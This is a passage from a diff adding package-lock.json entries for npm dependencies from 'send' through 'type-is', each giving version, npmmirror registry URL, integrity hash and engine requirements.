"~1.0.3", + "parseurl": "~1.3.3", + "send": "0.19.0" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/set-function-length": { + "version": "1.2.2", + "resolved": "https://registry.npmmirror.com/set-function-length/-/set-function-length-1.2.2.tgz", + "integrity": "sha512-pgRc4hJ4/sNjWCSS9AmnS40x3bNMDTknHgL5UaMBTMyJnU90EgWh1Rz+MC9eFu4BuN/UwZjKQuY/1v3rM7HMfg==", + "dev": true, + "dependencies": { + "define-data-property": "^1.1.4", + "es-errors": "^1.3.0", + "function-bind": "^1.1.2", + "get-intrinsic": "^1.2.4", + "gopd": "^1.0.1", + "has-property-descriptors": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/setimmediate": { + "version": "1.0.5", + "resolved": "https://registry.npmmirror.com/setimmediate/-/setimmediate-1.0.5.tgz", + "integrity": "sha512-MATJdZp8sLqDl/68LfQmbP8zKPLQNV6BIZoIgrscFDQ+RsvK/BxeDQOgyxKKoh0y/8h3BqVFnCqQ/gd+reiIXA==" + }, + "node_modules/setprototypeof": { + "version": "1.2.0", + "resolved": "https://registry.npmmirror.com/setprototypeof/-/setprototypeof-1.2.0.tgz", + "integrity": "sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw==", + "dev": true + }, + "node_modules/shallow-clone": { + "version": "3.0.1", + "resolved": "https://registry.npmmirror.com/shallow-clone/-/shallow-clone-3.0.1.tgz", + "integrity": "sha512-/6KqX+GVUdqPuPPd2LxDDxzX6CAbjJehAAOKlNpqqUpAqPM6HeL8f+o3a+JsyGjn2lv0WY8UsTgUJjU9Ok55NA==", + "dev": true, + "dependencies": { + "kind-of": "^6.0.2" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/shebang-command": { + "version": "1.2.0", + "resolved": "https://registry.npmmirror.com/shebang-command/-/shebang-command-1.2.0.tgz", + "integrity": "sha512-EV3L1+UQWGor21OmnvojK36mhg+TyIKDh3iFBKBohr5xeXIhNBcx8oWdgkTEEQ+BEFFYdLRuqMfd5L84N1V5Vg==", + "dev": true, + "dependencies": { + "shebang-regex": "^1.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/shebang-regex": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/shebang-regex/-/shebang-regex-1.0.0.tgz", + "integrity": "sha512-wpoSFAxys6b2a2wHZ1XpDSgD7N9iVjg29Ph9uV/uaP9Ex/KXlkTZTeddxDPSYQpgvzKLGJke2UU0AzoGCjNIvQ==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/shell-quote": { + "version": "1.8.1", + "resolved": "https://registry.npmmirror.com/shell-quote/-/shell-quote-1.8.1.tgz", + "integrity": "sha512-6j1W9l1iAs/4xYBI1SYOVZyFcCis9b4KCLQ8fgAGG07QvzaRLVVRQvAy85yNmmZSjYjg4MWh4gNvlPujU/5LpA==", + "dev": true, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/side-channel": { + "version": "1.0.6", + "resolved": "https://registry.npmmirror.com/side-channel/-/side-channel-1.0.6.tgz", + "integrity": "sha512-fDW/EZ6Q9RiO8eFG8Hj+7u/oW+XrPTIChwCOM2+th2A6OblDtYYIpve9m+KvI9Z4C9qSEXlaGR6bTEYHReuglA==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.7", + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.4", + "object-inspect": "^1.13.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/signal-exit": { + "version": "3.0.7", + "resolved": "https://registry.npmmirror.com/signal-exit/-/signal-exit-3.0.7.tgz", + "integrity": "sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==", + "dev": true + }, + "node_modules/sirv": { + "version": "2.0.4", + "resolved": "https://registry.npmmirror.com/sirv/-/sirv-2.0.4.tgz", + "integrity": "sha512-94Bdh3cC2PKrbgSOUqTiGPWVZeSiXfKOVZNJniWoqrWrRkB1CJzBU3NEbiTsPcYy1lDsANA/THzS+9WBiy5nfQ==", + "dev": true, + "dependencies": { + "@polka/url": "^1.0.0-next.24", + "mrmime": "^2.0.0", + "totalist": "^3.0.0" + }, + "engines": { + "node": ">= 10" + } + }, + "node_modules/slash": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/slash/-/slash-3.0.0.tgz", + "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/slice-ansi": { + "version": "4.0.0", + "resolved": "https://registry.npmmirror.com/slice-ansi/-/slice-ansi-4.0.0.tgz", + "integrity": "sha512-qMCMfhY040cVHT43K9BFygqYbUPFZKHOg7K73mtTWJRb8pyP3fzf4Ixd5SzdEJQ6MRUg/WBnOLxghZtKKurENQ==", + "dev": true, + "dependencies": { + "ansi-styles": "^4.0.0", + "astral-regex": "^2.0.0", + "is-fullwidth-code-point": "^3.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/slice-ansi?sponsor=1" + } + }, + "node_modules/sockjs": { + "version": "0.3.24", + "resolved": "https://registry.npmmirror.com/sockjs/-/sockjs-0.3.24.tgz", + "integrity": "sha512-GJgLTZ7vYb/JtPSSZ10hsOYIvEYsjbNU+zPdIHcUaWVNUEPivzxku31865sSSud0Da0W4lEeOPlmw93zLQchuQ==", + "dev": true, + "dependencies": { + "faye-websocket": "^0.11.3", + "uuid": "^8.3.2", + "websocket-driver": "^0.7.4" + } + }, + "node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmmirror.com/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/source-map-js": { + "version": "1.2.1", + "resolved": "https://registry.npmmirror.com/source-map-js/-/source-map-js-1.2.1.tgz", + "integrity": "sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/source-map-support": { + "version": "0.5.21", + "resolved": "https://registry.npmmirror.com/source-map-support/-/source-map-support-0.5.21.tgz", + "integrity": "sha512-uBHU3L3czsIyYXKX88fdrGovxdSCoTGDRZ6SYXtSRxLZUzHg5P/66Ht6uoUlHu9EZod+inXhKo3qQgwXUT/y1w==", + "dev": true, + "dependencies": { + "buffer-from": "^1.0.0", + "source-map": "^0.6.0" + } + }, + "node_modules/spdx-correct": { + "version": "3.2.0", + "resolved": "https://registry.npmmirror.com/spdx-correct/-/spdx-correct-3.2.0.tgz", + "integrity": "sha512-kN9dJbvnySHULIluDHy32WHRUu3Og7B9sbY7tsFLctQkIqnMh3hErYgdMjTYuqmcXX+lK5T1lnUt3G7zNswmZA==", + "dev": true, + "dependencies": { + "spdx-expression-parse": "^3.0.0", + "spdx-license-ids": "^3.0.0" + } + }, + "node_modules/spdx-exceptions": { + "version": "2.5.0", + "resolved": "https://registry.npmmirror.com/spdx-exceptions/-/spdx-exceptions-2.5.0.tgz", + "integrity": "sha512-PiU42r+xO4UbUS1buo3LPJkjlO7430Xn5SVAhdpzzsPHsjbYVflnnFdATgabnLude+Cqu25p6N+g2lw/PFsa4w==", + "dev": true + }, + "node_modules/spdx-expression-parse": { + "version": "3.0.1", + "resolved": "https://registry.npmmirror.com/spdx-expression-parse/-/spdx-expression-parse-3.0.1.tgz", + "integrity": "sha512-cbqHunsQWnJNE6KhVSMsMeH5H/L9EpymbzqTQ3uLwNCLZ1Q481oWaofqH7nO6V07xlXwY6PhQdQ2IedWx/ZK4Q==", + "dev": true, + "dependencies": { + "spdx-exceptions": "^2.1.0", + "spdx-license-ids": "^3.0.0" + } + }, + "node_modules/spdx-license-ids": { + "version": "3.0.20", + "resolved": "https://registry.npmmirror.com/spdx-license-ids/-/spdx-license-ids-3.0.20.tgz", + "integrity": "sha512-jg25NiDV/1fLtSgEgyvVyDunvaNHbuwF9lfNV17gSmPFAlYzdfNBlLtLzXTevwkPj7DhGbmN9VnmJIgLnhvaBw==", + "dev": true + }, + "node_modules/spdy": { + "version": "4.0.2", + "resolved": "https://registry.npmmirror.com/spdy/-/spdy-4.0.2.tgz", + "integrity": "sha512-r46gZQZQV+Kl9oItvl1JZZqJKGr+oEkB08A6BzkiR7593/7IbtuncXHd2YoYeTsG4157ZssMu9KYvUHLcjcDoA==", + "dev": true, + "dependencies": { + "debug": "^4.1.0", + "handle-thing": "^2.0.0", + "http-deceiver": "^1.2.7", + "select-hose": "^2.0.0", + "spdy-transport": "^3.0.0" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/spdy-transport": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/spdy-transport/-/spdy-transport-3.0.0.tgz", + "integrity": "sha512-hsLVFE5SjA6TCisWeJXFKniGGOpBgMLmerfO2aCyCU5s7nJ/rpAepqmFifv/GCbSbueEeAJJnmSQ2rKC/g8Fcw==", + "dev": true, + "dependencies": { + "debug": "^4.1.0", + "detect-node": "^2.0.4", + "hpack.js": "^2.1.6", + "obuf": "^1.1.2", + "readable-stream": "^3.0.6", + "wbuf": "^1.7.3" + } + }, + "node_modules/sprintf-js": { + "version": "1.0.3", + "resolved": "https://registry.npmmirror.com/sprintf-js/-/sprintf-js-1.0.3.tgz", + "integrity": "sha512-D9cPgkvLlV3t3IzL0D0YLvGA9Ahk4PcvVwUbN0dSGr1aP0Nrt4AEnTUbuGvquEC0mA64Gqt1fzirlRs5ibXx8g==", + "dev": true + }, + "node_modules/ssri": { + "version": "8.0.1", + "resolved": "https://registry.npmmirror.com/ssri/-/ssri-8.0.1.tgz", + "integrity": "sha512-97qShzy1AiyxvPNIkLWoGua7xoQzzPjQ0HAH4B0rWKo7SZ6USuPcrUiAFrws0UH8RrbWmgq3LMTObhPIHbbBeQ==", + "dev": true, + "dependencies": { + "minipass": "^3.1.1" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/stable": { + "version": "0.1.8", + "resolved": "https://registry.npmmirror.com/stable/-/stable-0.1.8.tgz", + "integrity": "sha512-ji9qxRnOVfcuLDySj9qzhGSEFVobyt1kIOSkj1qZzYLzq7Tos/oUUWvotUPQLlrsidqsK6tBH89Bc9kL5zHA6w==", + "deprecated": "Modern JS already guarantees Array#sort() is a stable sort, so this library is deprecated. See the compatibility table on MDN: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/sort#browser_compatibility", + "dev": true + }, + "node_modules/stackframe": { + "version": "1.3.4", + "resolved": "https://registry.npmmirror.com/stackframe/-/stackframe-1.3.4.tgz", + "integrity": "sha512-oeVtt7eWQS+Na6F//S4kJ2K2VbRlS9D43mAlMyVpVWovy9o+jfgH8O9agzANzaiLjclA0oYzUXEM4PurhSUChw==", + "dev": true + }, + "node_modules/statuses": { + "version": "2.0.1", + "resolved": "https://registry.npmmirror.com/statuses/-/statuses-2.0.1.tgz", + "integrity": "sha512-RwNA9Z/7PrK06rYLIzFMlaF+l73iwpzsqRIFgbMLbTcLD6cOao82TaWefPXQvB2fOC4AjuYSEndS7N/mTCbkdQ==", + "dev": true, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/string_decoder": { + "version": "1.3.0", + "resolved": "https://registry.npmmirror.com/string_decoder/-/string_decoder-1.3.0.tgz", + "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", + "dev": true, + "dependencies": { + "safe-buffer": "~5.2.0" + } + }, + "node_modules/string-width": { + "version": "4.2.3", + "resolved": "https://registry.npmmirror.com/string-width/-/string-width-4.2.3.tgz", + "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "dev": true, + "dependencies": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmmirror.com/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "dev": true, + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/strip-eof": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/strip-eof/-/strip-eof-1.0.0.tgz", + "integrity": "sha512-7FCwGGmx8mD5xQd3RPUvnSpUXHM3BWuzjtpD4TXsfcZ9EL4azvVVUscFYwD9nx8Kh+uCBC00XBtAykoMHwTh8Q==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/strip-final-newline": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/strip-final-newline/-/strip-final-newline-2.0.0.tgz", + "integrity": "sha512-BrpvfNAE3dcvq7ll3xVumzjKjZQ5tI1sEUIKr3Uoks0XUl45St3FlatVqef9prk4jRDzhW6WZg+3bk93y6pLjA==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/strip-indent": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/strip-indent/-/strip-indent-2.0.0.tgz", + "integrity": "sha512-RsSNPLpq6YUL7QYy44RnPVTn/lcVZtb48Uof3X5JLbF4zD/Gs7ZFDv2HWol+leoQN2mT86LAzSshGfkTlSOpsA==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/strip-json-comments": { + "version": "3.1.1", + "resolved": "https://registry.npmmirror.com/strip-json-comments/-/strip-json-comments-3.1.1.tgz", + "integrity": "sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig==", + "dev": true, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/strip-literal": { + "version": "2.1.0", + "resolved": "https://registry.npmmirror.com/strip-literal/-/strip-literal-2.1.0.tgz", + "integrity": "sha512-Op+UycaUt/8FbN/Z2TWPBLge3jWrP3xj10f3fnYxf052bKuS3EKs1ZQcVGjnEMdsNVAM+plXRdmjrZ/KgG3Skw==", + "dev": true, + "dependencies": { + "js-tokens": "^9.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/antfu" + } + }, + "node_modules/strip-literal/node_modules/js-tokens": { + "version": "9.0.0", + "resolved": "https://registry.npmmirror.com/js-tokens/-/js-tokens-9.0.0.tgz", + "integrity": "sha512-WriZw1luRMlmV3LGJaR6QOJjWwgLUTf89OwT2lUOyjX2dJGBwgmIkbcz+7WFZjrZM635JOIR517++e/67CP9dQ==", + "dev": true + }, + "node_modules/stylehacks": { + "version": "5.1.1", + "resolved": "https://registry.npmmirror.com/stylehacks/-/stylehacks-5.1.1.tgz", + "integrity": "sha512-sBpcd5Hx7G6seo7b1LkpttvTz7ikD0LlH5RmdcBNb6fFR0Fl7LQwHDFr300q4cwUqi+IYrFGmsIHieMBfnN/Bw==", + "dev": true, + "dependencies": { + "browserslist": "^4.21.4", + "postcss-selector-parser": "^6.0.4" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmmirror.com/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/supports-preserve-symlinks-flag": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz", + "integrity": "sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==", + "dev": true, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/svg-tags": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/svg-tags/-/svg-tags-1.0.0.tgz", + "integrity": "sha512-ovssysQTa+luh7A5Weu3Rta6FJlFBBbInjOh722LIt6klpU2/HtdUbszju/G4devcvk8PGt7FCLv5wftu3THUA==", + "dev": true + }, + "node_modules/svgo": { + "version": "2.8.0", + "resolved": "https://registry.npmmirror.com/svgo/-/svgo-2.8.0.tgz", + "integrity": "sha512-+N/Q9kV1+F+UeWYoSiULYo4xYSDQlTgb+ayMobAXPwMnLvop7oxKMo9OzIrX5x3eS4L4f2UHhc9axXwY8DpChg==", + "dev": true, + "dependencies": { + "@trysound/sax": "0.2.0", + "commander": "^7.2.0", + "css-select": "^4.1.3", + "css-tree": "^1.1.3", + "csso": "^4.2.0", + "picocolors": "^1.0.0", + "stable": "^0.1.8" + }, + "bin": { + "svgo": "bin/svgo" + }, + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/svgo/node_modules/commander": { + "version": "7.2.0", + "resolved": "https://registry.npmmirror.com/commander/-/commander-7.2.0.tgz", + "integrity": "sha512-QrWXB+ZQSVPmIWIhtEO9H+gwHaMGYiF5ChvoJ+K9ZGHG/sVsa6yiesAD1GC/x46sET00Xlwo1u49RVVVzvcSkw==", + "dev": true, + "engines": { + "node": ">= 10" + } + }, + "node_modules/table": { + "version": "6.8.2", + "resolved": "https://registry.npmmirror.com/table/-/table-6.8.2.tgz", + "integrity": "sha512-w2sfv80nrAh2VCbqR5AK27wswXhqcck2AhfnNW76beQXskGZ1V12GwS//yYVa3d3fcvAip2OUnbDAjW2k3v9fA==", + "dev": true, + "dependencies": { + "ajv": "^8.0.1", + "lodash.truncate": "^4.4.2", + "slice-ansi": "^4.0.0", + "string-width": "^4.2.3", + "strip-ansi": "^6.0.1" + }, + "engines": { + "node": ">=10.0.0" + } + }, + "node_modules/table/node_modules/ajv": { + "version": "8.17.1", + "resolved": "https://registry.npmmirror.com/ajv/-/ajv-8.17.1.tgz", + "integrity": "sha512-B/gBuNg5SiMTrPkC+A2+cW0RszwxYmn6VYxB/inlBStS5nx6xHIt/ehKRhIMhqusl7a8LjQoZnjCs5vhwxOQ1g==", + "dev": true, + "dependencies": { + "fast-deep-equal": "^3.1.3", + "fast-uri": "^3.0.1", + "json-schema-traverse": "^1.0.0", + "require-from-string": "^2.0.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/table/node_modules/json-schema-traverse": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", + "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==", + "dev": true + }, + "node_modules/tapable": { + "version": "2.2.1", + "resolved": "https://registry.npmmirror.com/tapable/-/tapable-2.2.1.tgz", + "integrity": "sha512-GNzQvQTOIP6RyTfE2Qxb8ZVlNmw0n88vp1szwWRimP02mnTsx3Wtn5qRdqY9w2XduFNUgvOwhNnQsjwCp+kqaQ==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/terser": { + "version": "5.36.0", + "resolved": "https://registry.npmmirror.com/terser/-/terser-5.36.0.tgz", + "integrity": "sha512-IYV9eNMuFAV4THUspIRXkLakHnV6XO7FEdtKjf/mDyrnqUg9LnlOn6/RwRvM9SZjR4GUq8Nk8zj67FzVARr74w==", + "dev": true, + "dependencies": { + "@jridgewell/source-map": "^0.3.3", + "acorn": "^8.8.2", + "commander": "^2.20.0", + "source-map-support": "~0.5.20" + }, + "bin": { + "terser": "bin/terser" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/terser-webpack-plugin": { + "version": "5.3.10", + "resolved": "https://registry.npmmirror.com/terser-webpack-plugin/-/terser-webpack-plugin-5.3.10.tgz", + "integrity": "sha512-BKFPWlPDndPs+NGGCr1U59t0XScL5317Y0UReNrHaw9/FwhPENlq6bfgs+4yPfyP51vqC1bQ4rp1EfXW5ZSH9w==", + "dev": true, + "dependencies": { + "@jridgewell/trace-mapping": "^0.3.20", + "jest-worker": "^27.4.5", + "schema-utils": "^3.1.1", + "serialize-javascript": "^6.0.1", + "terser": "^5.26.0" + }, + "engines": { + "node": ">= 10.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "webpack": "^5.1.0" + }, + "peerDependenciesMeta": { + "@swc/core": { + "optional": true + }, + "esbuild": { + "optional": true + }, + "uglify-js": { + "optional": true + } + } + }, + "node_modules/terser-webpack-plugin/node_modules/schema-utils": { + "version": "3.3.0", + "resolved": "https://registry.npmmirror.com/schema-utils/-/schema-utils-3.3.0.tgz", + "integrity": "sha512-pN/yOAvcC+5rQ5nERGuwrjLlYvLTbCibnZ1I7B1LaiAz9BRBlE9GMgE/eqV30P7aJQUf7Ddimy/RsbYO/GrVGg==", + "dev": true, + "dependencies": { + "@types/json-schema": "^7.0.8", + "ajv": "^6.12.5", + "ajv-keywords": "^3.5.2" + }, + "engines": { + "node": ">= 10.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + } + }, + "node_modules/terser/node_modules/commander": { + "version": "2.20.3", + "resolved": "https://registry.npmmirror.com/commander/-/commander-2.20.3.tgz", + "integrity": "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==", + "dev": true + }, + "node_modules/text-table": { + "version": "0.2.0", + "resolved": "https://registry.npmmirror.com/text-table/-/text-table-0.2.0.tgz", + "integrity": "sha512-N+8UisAXDGk8PFXP4HAzVR9nbfmVJ3zYLAWiTIoqC5v5isinhr+r5uaO8+7r3BMfuNIufIsA7RdpVgacC2cSpw==", + "dev": true + }, + "node_modules/thenify": { + "version": "3.3.1", + "resolved": "https://registry.npmmirror.com/thenify/-/thenify-3.3.1.tgz", + "integrity": "sha512-RVZSIV5IG10Hk3enotrhvz0T9em6cyHBLkH/YAZuKqd8hRkKhSfCGIcP2KUY0EPxndzANBmNllzWPwak+bheSw==", + "dev": true, + "dependencies": { + "any-promise": "^1.0.0" + } + }, + "node_modules/thenify-all": { + "version": "1.6.0", + "resolved": "https://registry.npmmirror.com/thenify-all/-/thenify-all-1.6.0.tgz", + "integrity": "sha512-RNxQH/qI8/t3thXJDwcstUO4zeqo64+Uy/+sNVRBx4Xn2OX+OZ9oP+iJnNFqplFra2ZUVeKCSa2oVWi3T4uVmA==", + "dev": true, + "dependencies": { + "thenify": ">= 3.1.0 < 4" + }, + "engines": { + "node": ">=0.8" + } + }, + "node_modules/thread-loader": { + "version": "3.0.4", + "resolved": "https://registry.npmmirror.com/thread-loader/-/thread-loader-3.0.4.tgz", + "integrity": "sha512-ByaL2TPb+m6yArpqQUZvP+5S1mZtXsEP7nWKKlAUTm7fCml8kB5s1uI3+eHRP2bk5mVYfRSBI7FFf+tWEyLZwA==", + "dev": true, + "dependencies": { + "json-parse-better-errors": "^1.0.2", + "loader-runner": "^4.1.0", + "loader-utils": "^2.0.0", + "neo-async": "^2.6.2", + "schema-utils": "^3.0.0" + }, + "engines": { + "node": ">= 10.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "webpack": "^4.27.0 || ^5.0.0" + } + }, + "node_modules/thread-loader/node_modules/loader-utils": { + "version": "2.0.4", + "resolved": "https://registry.npmmirror.com/loader-utils/-/loader-utils-2.0.4.tgz", + "integrity": "sha512-xXqpXoINfFhgua9xiqD8fPFHgkoq1mmmpE92WlDbm9rNRd/EbRb+Gqf908T2DMfuHjjJlksiK2RbHVOdD/MqSw==", + "dev": true, + "dependencies": { + "big.js": "^5.2.2", + "emojis-list": "^3.0.0", + "json5": "^2.1.2" + }, + "engines": { + "node": ">=8.9.0" + } + }, + "node_modules/thread-loader/node_modules/schema-utils": { + "version": "3.3.0", + "resolved": "https://registry.npmmirror.com/schema-utils/-/schema-utils-3.3.0.tgz", + "integrity": "sha512-pN/yOAvcC+5rQ5nERGuwrjLlYvLTbCibnZ1I7B1LaiAz9BRBlE9GMgE/eqV30P7aJQUf7Ddimy/RsbYO/GrVGg==", + "dev": true, + "dependencies": { + "@types/json-schema": "^7.0.8", + "ajv": "^6.12.5", + "ajv-keywords": "^3.5.2" + }, + "engines": { + "node": ">= 10.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + } + }, + "node_modules/thunky": { + "version": "1.1.0", + "resolved": "https://registry.npmmirror.com/thunky/-/thunky-1.1.0.tgz", + "integrity": "sha512-eHY7nBftgThBqOyHGVN+l8gF0BucP09fMo0oO/Lb0w1OF80dJv+lDVpXG60WMQvkcxAkNybKsrEIE3ZtKGmPrA==", + "dev": true + }, + "node_modules/to-regex-range": { + "version": "5.0.1", + "resolved": "https://registry.npmmirror.com/to-regex-range/-/to-regex-range-5.0.1.tgz", + "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", + "dev": true, + "dependencies": { + "is-number": "^7.0.0" + }, + "engines": { + "node": ">=8.0" + } + }, + "node_modules/toidentifier": { + "version": "1.0.1", + "resolved": "https://registry.npmmirror.com/toidentifier/-/toidentifier-1.0.1.tgz", + "integrity": "sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA==", + "dev": true, + "engines": { + "node": ">=0.6" + } + }, + "node_modules/totalist": { + "version": "3.0.1", + "resolved": "https://registry.npmmirror.com/totalist/-/totalist-3.0.1.tgz", + "integrity": "sha512-sf4i37nQ2LBx4m3wB74y+ubopq6W/dIzXg0FDGjsYnZHVa1Da8FH853wlL2gtUhg+xJXjfk3kUZS3BRoQeoQBQ==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/tr46": { + "version": "0.0.3", + "resolved": "https://registry.npmmirror.com/tr46/-/tr46-0.0.3.tgz", + "integrity": "sha512-N3WMsuqV66lT30CrXNbEjx4GEwlow3v6rr4mCcv6prnfwhS01rkgyFdjPNBYd9br7LpXV1+Emh01fHnq2Gdgrw==", + "dev": true + }, + "node_modules/tslib": { + "version": "2.8.0", + "resolved": "https://registry.npmmirror.com/tslib/-/tslib-2.8.0.tgz", + "integrity": "sha512-jWVzBLplnCmoaTr13V9dYbiQ99wvZRd0vNWaDRg+aVYRcjDF3nDksxFDE/+fkXnKhpnUUkmx5pK/v8mCtLVqZA==", + "dev": true + }, + "node_modules/turndown": { + "version": "7.2.0", + "resolved": "https://registry.npmmirror.com/turndown/-/turndown-7.2.0.tgz", + "integrity": "sha512-eCZGBN4nNNqM9Owkv9HAtWRYfLA4h909E/WGAWWBpmB275ehNhZyk87/Tpvjbp0jjNl9XwCsbe6bm6CqFsgD+A==", + "dependencies": { + "@mixmark-io/domino": "^2.2.0" + } + }, + "node_modules/turndown-plugin-gfm": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/turndown-plugin-gfm/-/turndown-plugin-gfm-1.0.2.tgz", + "integrity": "sha512-vwz9tfvF7XN/jE0dGoBei3FXWuvll78ohzCZQuOb+ZjWrs3a0XhQVomJEb2Qh4VHTPNRO4GPZh0V7VRbiWwkRg==" + }, + "node_modules/type-check": { + "version": "0.4.0", + "resolved": "https://registry.npmmirror.com/type-check/-/type-check-0.4.0.tgz", + "integrity": "sha512-XleUoc9uwGXqjWwXaUTZAmzMcFZ5858QA2vvx1Ur5xIcixXIP+8LnFDgRplU30us6teqdlskFfu+ae4K79Ooew==", + "dev": true, + "dependencies": { + "prelude-ls": "^1.2.1" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/type-fest": { + "version": "0.6.0", + "resolved": "https://registry.npmmirror.com/type-fest/-/type-fest-0.6.0.tgz", + "integrity": "sha512-q+MB8nYR1KDLrgr4G5yemftpMC7/QLqVndBmEEdqzmNj5dcFOO4Oo8qlwZE3ULT3+Zim1F8Kq4cBnikNhlCMlg==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/type-is": { + "version": "1.6.18", + "resolved": "https://registry.npmmirror.com/type-is/-/type-is-1.6.18.tgz", + "integrity": 